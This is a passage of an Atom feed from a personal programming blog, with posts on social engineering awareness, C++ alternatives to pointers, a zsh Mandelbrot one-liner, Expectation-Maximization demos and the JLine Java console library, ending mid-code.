<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2289497912865198302</id><updated>2011-11-27T15:32:16.748-08:00</updated><category term='C++0x'/><category term='C++'/><category term='lowlevel'/><category term='algorithms'/><category term='java'/><category term='X11'/><category term='security'/><category term='zsh'/><title type='text'>E=mg²</title><subtitle type='html'>&lt;i&gt;Mixture of low level hacking and science formalism. Technical blog about algorithms (especially distributed and self-stabilizing algorithms), programming, Linux, C++.&lt;/i&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-9076822592290200789</id><published>2010-04-05T07:09:00.000-07:00</published><updated>2010-04-09T10:39:51.065-07:00</updated><title type='text'>Repetition of an old post</title><content type='html'>&lt;div style="text-align: justify;"&gt;In 2008 I've written a post about interesting security technique. Then, I've removed it exactly until April and I know that no more than one person was able to read it and that it completely disappeared from the network. I now reminded myself about the technique. I found it quite useful. It's about safety. Basically, there are threats that require extremely sophisticated conditions to fully arise. When you defend yourself from them, you may find it playful. You may even find your self-value to rise. But then, there are threats that aren't so sophisticated. They can basically always catch you. This is the time to return to the ground. It's the social engineering! So how to defend from it? In my opinion there is only one answer: be aware of the consequences of your actions, and take into account possible actions of the people that you share your safety with. Read more &lt;a href="http://en.wikipedia.org/wiki/Social_engineering_%28security%29"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-9076822592290200789?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/9076822592290200789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=9076822592290200789' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/9076822592290200789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/9076822592290200789'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2010/04/repetition-of-old-post.html' title='Repetition of an old post'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-1502891794600275948</id><published>2009-03-17T12:16:00.000-07:00</published><updated>2009-07-18T07:56:48.592-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C++0x'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Avoiding pointers</title><content type='html'>I often see a C++ code that uses pointers in situations, where they're not needed. It seems that we often easily give up when we encounter slightly irregular code construct, where typical reference usage is not obvious. Consider following situation:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        &lt;span class="Type"&gt;virtual&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; action() = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;};&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; B : &lt;span class="Statement"&gt;public&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        B() {}&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; action() { &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; action code &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt; }&lt;br /&gt;};&lt;/pre&gt;&lt;span class="fullpost"&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; HolderClass {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; setInstance(A * newInstance) {&lt;br /&gt;                instance = newInstance;&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; doSomething() {&lt;br /&gt;                instance-&amp;gt;action();&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="Statement"&gt;private&lt;/span&gt;:&lt;br /&gt;        A * instance;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;int&lt;/span&gt; main() {&lt;br /&gt;        B myInstance;&lt;br /&gt;        HolderClass c;&lt;br /&gt;        c.setInstance(&amp;amp;myInstance);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The general rule is: &lt;b&gt;to avoid pointers, allow the compiler to arrange things in RAII way&lt;/b&gt;. Use references, initialize them as fast as you can (i.e. in base initializers):&lt;br /&gt;&lt;pre&gt;   &lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        &lt;span class="Type"&gt;virtual&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; action() = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;};        &lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; B : &lt;span class="Statement"&gt;public&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        B() {}        &lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; action() { &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; action code &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt; }&lt;br /&gt;};&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; HolderClass {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        HolderClass(A &amp;amp; newInstance) : instance(newInstance) {}&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; doSomething() {&lt;br /&gt;                instance.action();&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="Statement"&gt;private&lt;/span&gt;:&lt;br /&gt;        A &amp;amp; instance;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;int&lt;/span&gt; main() {&lt;br /&gt;        B myInstance;&lt;br /&gt;        HolderClass c(myInstance);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;However, both of above approaches share the same issue: the ownership issue. Consider following scenario:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;HolderClass* fun() {&lt;br /&gt;        B myInstance;&lt;br /&gt;        HolderClass* c = &lt;span class="Statement"&gt;new&lt;/span&gt; HolderClass(myInstance);&lt;br /&gt;        &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Or:&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;           HolderClass* c = new HolderClass();&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;           c-&amp;gt;setInstance(&amp;amp;myInstance);&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;        &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; c;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Possible pointer-approach solutions are:&lt;ol&gt;&lt;li&gt;Use shared pointer instead of regular pointer.&lt;br /&gt;&lt;li&gt;Take a pointer and copy the object, storing pointer to newly created instance.&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;But how to solve this without using pointers? Generally, we must copy the object before binding it to the reference member. If &lt;i&gt;A&lt;/i&gt; would not have been an abstract class, and the C++0x standard Rvalue references would have been already available, then following solution would be possible:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; HolderClass {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        HolderClass(A &amp;amp; newInstance) : instance(A(newInstance)) {&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="Statement"&gt;private&lt;/span&gt;:&lt;br /&gt;        A &amp;amp;&amp;amp; instance;&lt;br /&gt;};&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But A &lt;b&gt;is&lt;/b&gt; an abstract class, and we may not want to use unfinished standard features. Is it possible to make a copy of A* in such a way, that it would be available in base initializer list? It is! Thanks to the fact, that &lt;b&gt;you can bind (after dereferencing) pointer returned by new() to an reference variable&lt;/b&gt;. Below you can see two possible solutions:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        &lt;span class="Type"&gt;virtual&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; action() = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;};&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; B : &lt;span class="Statement"&gt;public&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        B() {}&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; action() { }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; C : &lt;span class="Statement"&gt;public&lt;/span&gt; A {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        B() {}&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; action() { }&lt;br /&gt;};&lt;br /&gt;A &amp;amp; copyOf(A &amp;amp; a) {&lt;br /&gt;        &lt;span class="Statement"&gt;if&lt;/span&gt;( &lt;span class="Statement"&gt;typeid&lt;/span&gt;(a) == &lt;span class="Statement"&gt;typeid&lt;/span&gt;(B)) {&lt;br /&gt;                B * b = &lt;span class="Statement"&gt;new&lt;/span&gt; B( *&lt;span class="Statement"&gt;dynamic_cast&lt;/span&gt;&amp;lt;B*&amp;gt;(&amp;amp;a) );&lt;br /&gt;                &lt;span class="Statement"&gt;return&lt;/span&gt; *b;&lt;br /&gt;        } &lt;span class="Statement"&gt;else&lt;/span&gt; &lt;span class="Statement"&gt;if&lt;/span&gt;( &lt;span class="Statement"&gt;typeid&lt;/span&gt;(a) == &lt;span class="Statement"&gt;typeid&lt;/span&gt;(C)) {&lt;br /&gt;                C * c = &lt;span class="Statement"&gt;new&lt;/span&gt; C( *&lt;span class="Statement"&gt;dynamic_cast&lt;/span&gt;&amp;lt;C*&amp;gt;(&amp;amp;a) );&lt;br /&gt;                &lt;span class="Statement"&gt;return&lt;/span&gt; *c;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; HolderClass {&lt;br /&gt;        &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        HolderClass(A &amp;amp; newInstance) : &lt;br /&gt;               instance(copyOf(newInstance)) {}&lt;br /&gt;        ~HolderClass() { &lt;span class="Statement"&gt;delete&lt;/span&gt; &amp;amp;instance; }&lt;br /&gt;        &lt;span class="Type"&gt;void&lt;/span&gt; doSomething() {&lt;br /&gt;                instance.action();&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="Statement"&gt;private&lt;/span&gt;:&lt;br /&gt;        A &amp;amp; instance;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;int&lt;/span&gt; main() {&lt;br /&gt;        B myInstance;&lt;br /&gt;        HolderClass c(myInstance);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Next solution follows the virtual copy constructor idiom:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; A {&lt;br /&gt;    &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        ...&lt;br /&gt;        &lt;span class="Type"&gt;virtual&lt;/span&gt; A&amp;amp; clone() = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;        ...&lt;br /&gt;};&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; B : &lt;span class="Statement"&gt;public&lt;/span&gt; A {&lt;br /&gt;    &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;        ...&lt;br /&gt;        &lt;span class="Type"&gt;virtual&lt;/span&gt; A&amp;amp; clone() { &lt;span class="Statement"&gt;return&lt;/span&gt; *&lt;span class="Statement"&gt;new&lt;/span&gt; B(*&lt;span class="Statement"&gt;this&lt;/span&gt;); }&lt;br /&gt;        ...&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;class&lt;/span&gt; HolderClass {&lt;br /&gt;    &lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;            HolderClass(A&amp;amp; newInstance) : &lt;br /&gt;                   instance(newInstance.clone()) {}&lt;br /&gt;            ~HolderClass() { &lt;span class="Statement"&gt;delete&lt;/span&gt; &amp;amp;instance; }&lt;br /&gt;&lt;br /&gt;            &lt;span class="Type"&gt;void&lt;/span&gt; doSomething() {&lt;br /&gt;                    instance.action();&lt;br /&gt;            }&lt;br /&gt;    &lt;span class="Statement"&gt;private&lt;/span&gt;:&lt;br /&gt;            A&amp;amp; instance; &lt;span class="Comment"&gt;// this can be A&amp;amp;&amp;amp;, A&amp;amp;, A*,&lt;/span&gt;&lt;br /&gt;              &lt;span class="Comment"&gt;// auto_ptr&amp;lt;A&amp;gt;, etc (any of them would work in your &lt;br /&gt;              // case)&lt;/span&gt;&lt;br /&gt;};&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Notice the delete calls in ~HolderClass() destructors &amp;mdash; binding to an reference variable doesn't have anything to do with managing of memory lifetime.&lt;br /&gt;&lt;br /&gt;The copyOf() approach is non-intrusive and can be easily used with third-party classes which cannot be modified. Otherwise the clone() approach is probably cleaner.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-1502891794600275948?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/1502891794600275948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=1502891794600275948' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/1502891794600275948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/1502891794600275948'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2009/03/avoiding-pointers.html' title='Avoiding pointers'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-5817837860792882641</id><published>2008-10-17T00:45:00.000-07:00</published><updated>2008-10-17T01:20:46.748-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zsh'/><title type='text'>Most useless use of ZSH</title><content type='html'>I found neat ZSH hack:&lt;pre&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 1 &lt;/span&gt;&lt;span class="Identifier"&gt;function&lt;/span&gt; &lt;span class="Identifier"&gt;most_useless_use_of_zsh {&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 2 &lt;/span&gt;    local lines columns colour a b p q i pnew&lt;br /&gt;&lt;span class="lnr"&gt; 3 &lt;/span&gt;    &lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;columns&lt;/span&gt;=COLUMNS-1, &lt;span class="Identifier"&gt;lines&lt;/span&gt;=LINES-1, &lt;span class="Identifier"&gt;colour&lt;/span&gt;=&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;))&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 4 &lt;/span&gt;    &lt;span class="Statement"&gt;for &lt;/span&gt;&lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;b&lt;/span&gt;=-1.&lt;span class="Number"&gt;5&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; b&lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt;&lt;span class="Statement"&gt;=&lt;/span&gt;&lt;span class="Number"&gt;1&lt;/span&gt;.&lt;span class="Number"&gt;5&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; &lt;span class="Identifier"&gt;b+&lt;/span&gt;=&lt;span class="Constant"&gt;3.0/lines&lt;/span&gt;&lt;span class="Statement"&gt;))&lt;/span&gt; &lt;span class="Statement"&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 5 &lt;/span&gt;        &lt;span class="Statement"&gt;for &lt;/span&gt;&lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;a&lt;/span&gt;=-2.&lt;span class="Number"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; a&lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt;&lt;span class="Statement"&gt;=&lt;/span&gt;&lt;span class="Number"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; &lt;span class="Identifier"&gt;a+&lt;/span&gt;=&lt;span class="Constant"&gt;3.0/columns&lt;/span&gt;&lt;span class="Statement"&gt;))&lt;/span&gt; &lt;span class="Statement"&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 6 &lt;/span&gt;            &lt;span class="Statement"&gt;for &lt;/span&gt;&lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;p&lt;/span&gt;=&lt;span class="Number"&gt;0&lt;/span&gt;.&lt;span class="Number"&gt;0&lt;/span&gt;, &lt;span class="Identifier"&gt;q&lt;/span&gt;=&lt;span class="Number"&gt;0&lt;/span&gt;.&lt;span class="Number"&gt;0&lt;/span&gt;, &lt;span class="Identifier"&gt;i&lt;/span&gt;=&lt;span class="Number"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; p*p+q*q &lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt; &lt;span class="Number"&gt;4&lt;/span&gt; &lt;span class="Statement"&gt;&amp;amp;&amp;amp;&lt;/span&gt; i &lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt; &lt;span class="Number"&gt;32&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt; i++&lt;span class="Statement"&gt;))&lt;/span&gt; &lt;span class="Statement"&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 7 &lt;/span&gt;                &lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;pnew&lt;/span&gt;=p*p-q*q+a, &lt;span class="Identifier"&gt;q&lt;/span&gt;=&lt;span class="Number"&gt;2&lt;/span&gt;*p*q+b, &lt;span class="Identifier"&gt;p&lt;/span&gt;=&lt;span class="Constant"&gt;pnew&lt;/span&gt;&lt;span class="Statement"&gt;))&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 8 &lt;/span&gt;            &lt;span class="Statement"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 9 &lt;/span&gt;            &lt;span class="Statement"&gt;((&lt;/span&gt;&lt;span class="Identifier"&gt;colour&lt;/span&gt;=&lt;span class="Statement"&gt;(&lt;/span&gt;i/&lt;span class="Number"&gt;4&lt;/span&gt;&lt;span class="Statement"&gt;)&lt;/span&gt;%&lt;span class="Number"&gt;8&lt;/span&gt;&lt;span class="Statement"&gt;))&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;10 &lt;/span&gt;            &lt;span class="Statement"&gt;echo&lt;/span&gt;&lt;span class="Constant"&gt; -n &lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Special"&gt;\\&lt;/span&gt;&lt;span class="Constant"&gt;e[4&lt;/span&gt;&lt;span class="PreProc"&gt;${&lt;/span&gt;&lt;span class="PreProc"&gt;colour&lt;/span&gt;&lt;span class="PreProc"&gt;}&lt;/span&gt;&lt;span class="Constant"&gt;m &lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;11 &lt;/span&gt;        &lt;span class="Statement"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;12 &lt;/span&gt;        &lt;span class="Statement"&gt;echo&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;13 &lt;/span&gt;    &lt;span class="Statement"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;14 &lt;/span&gt;&lt;span class="Identifier"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;What do you think this function does?&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;It draws Mandelbrot fractal :D This is possible because of ZSH floats support.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eeBYnXg0CgA/SPhFhIVX0ZI/AAAAAAAAABI/UpQacxlyVvE/s1600-h/zsh_mand.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_eeBYnXg0CgA/SPhFhIVX0ZI/AAAAAAAAABI/UpQacxlyVvE/s320/zsh_mand.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5258029000430178706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-5817837860792882641?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/5817837860792882641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=5817837860792882641' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5817837860792882641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5817837860792882641'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/10/most-useless-use-of-zsh.html' title='Most useless use of ZSH'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eeBYnXg0CgA/SPhFhIVX0ZI/AAAAAAAAABI/UpQacxlyVvE/s72-c/zsh_mand.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-5535471323760192863</id><published>2008-07-15T13:37:00.000-07:00</published><updated>2008-10-17T01:21:07.983-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><title type='text'>Expectation-Maximization examples</title><content type='html'>&lt;div style="text-align: justify;"&gt;Automatic data clustering is a quite interesting topic even for non-scientists. You can try it yourself. Here are two examples using the Expectation-Maximization algorithm:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;http://lcn.epfl.ch/tutorial/english/gaussian/html/index.html&lt;/li&gt;&lt;li&gt;http://www.socr.ucla.edu/Applets.dir/MixtureEM.html&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Compared to &lt;a href="http://emg-2.blogspot.com/2008/01/mixture-of-gaussians-and-expectation.html"&gt;my E-M implementation&lt;/a&gt;, above examples use a bit more complex version of E-M algorithm, which produce clusters having "shape" of a rotated ellipse. My implementation doesn't rotate ellipses. I will soon implement my own Java E-M demo applet.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-5535471323760192863?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/5535471323760192863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=5535471323760192863' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5535471323760192863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5535471323760192863'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/07/expectation-maximization-examples.html' title='Expectation-Maximization examples'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-3572808432682440656</id><published>2008-03-10T16:53:00.000-07:00</published><updated>2008-03-10T17:27:57.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lowlevel'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Comfortable command line in Java</title><content type='html'>&lt;div style="text-align: justify;"&gt;Readline is well known GNU library that provides comfortable command line in text environment.  It can be very easily used with C and C++, but many problems arise when trying to use it with Java. Readline is binary, platform dependant library. Using it with Java needs lots of hacking to preserve some platform independence and is problematic when targeting Windows platform. Readline is also licensed under GPL and any program linking with it must have compliant license. Recently I was developing command line application which had to run under Linux and Windows as well. I was trying to use java-readline, but it didn’t support Windows. I then found other library, which is written in pure Java: JLine.&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;JLine is small, flexible Java library for handling console input. Feature highlights include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;command line editing (you can use arrows to move over entered text, etc.),&lt;/li&gt;&lt;li&gt;history of entered commands,&lt;/li&gt;&lt;li&gt;completion (also filenames!).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Below you can see example demonstrating JLine flexibility, simplicity and power.&lt;br /&gt;&lt;pre&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; jline.*;&lt;br /&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; java.io.*;&lt;br /&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; java.util.*;&lt;br /&gt;&lt;br /&gt;&lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;class&lt;/span&gt; Cmdline {&lt;br /&gt;&lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; main(String[] args) &lt;span class="StorageClass"&gt;throws&lt;/span&gt; IOException {&lt;br /&gt;   ConsoleReader reader = &lt;span class="Statement"&gt;new&lt;/span&gt; ConsoleReader();&lt;br /&gt;   reader.setBellEnabled(&lt;span class="Constant"&gt;false&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;   List argCompletor1= &lt;span class="Statement"&gt;new&lt;/span&gt; LinkedList();&lt;br /&gt;   argCompletor1.add(&lt;span class="Statement"&gt;new&lt;/span&gt; SimpleCompletor(&lt;span class="Statement"&gt;new&lt;/span&gt; String[] { &lt;span class="Constant"&gt;"ls"&lt;/span&gt;, &lt;span class="Constant"&gt;"mkdir"&lt;/span&gt; }));&lt;br /&gt;   argCompletor1.add(&lt;span class="Statement"&gt;new&lt;/span&gt; FileNameCompletor());&lt;br /&gt;   List argCompletor2 = &lt;span class="Statement"&gt;new&lt;/span&gt; LinkedList();&lt;br /&gt;   argCompletor2.add(&lt;span class="Statement"&gt;new&lt;/span&gt; 